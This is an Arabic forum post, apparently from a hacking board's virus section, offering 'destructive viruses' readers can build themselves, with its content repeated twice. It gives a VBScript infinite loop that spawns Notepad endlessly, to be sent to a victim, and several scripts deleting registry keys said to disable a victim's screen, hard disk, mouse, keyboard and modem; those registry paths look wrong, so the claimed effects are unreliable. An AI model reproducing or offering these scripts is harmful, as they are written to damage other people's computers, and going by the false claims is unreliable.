اليكم باقة من الفيروسات مدمرة ستصنعها أنت بنفسك
تحياتي الى كل المتميزين في هذا المنتدى ..ولن اطيل عنكم لتكتشفو
فيروس سيفتح لدى الضحية اكثر من
notepade100
وفي أقل من ثانية
نقوم بفتح blok note
ننسخ التالي
Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop
ثم يحفظ بامتداد
vbs.
ويرسل الى الضحيةههههه
2Pour désinstaller l'écran
لحذف الشاشة
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Monitor"
</script>
لحذف لهارد ديسك
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCMIA"
</script>i
لحذف عمل الماوس
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mouse"
</script>
لحذف لوحة المفاتيح
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Keyboard"
</script>
لحذف المودم )روتر( تعطيله
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Modem"
</script>
ملاحظة.. كلها تحفظ بامتداد vbs
simoalg@vb-spiders.net
مع تحياتي الى ال سبايدرزز طخ طخ طخ
فيروس سيفتح لدى الضحية اكثر من
notepade100
وفي أقل من ثانية
نقوم بفتح blok note
ننسخ التالي
Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop
ثم يحفظ بامتداد
vbs.
ويرسل الى الضحيةههههه
2Pour désinstaller l'écran
لحذف الشاشة
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Monitor"
</script>
لحذف لهارد ديسك
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCMIA"
</script>i
لحذف عمل الماوس
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mouse"
</script>
لحذف لوحة المفاتيح
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Keyboard"
</script>
لحذف المودم )روتر( تعطيله
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Modem"
</script>
ملاحظة.. كلها تحفظ بامتداد vbs
simoalg@vb-spiders.net
مع تحياتي الى ال سبايدرزز طخ طخ طخ
اسم الموضوع : اليكم باقة من الفيروسات مدمرة ستصنعها أنت بنفسك
|
المصدر : قـسـم الفـايروسات Viruses
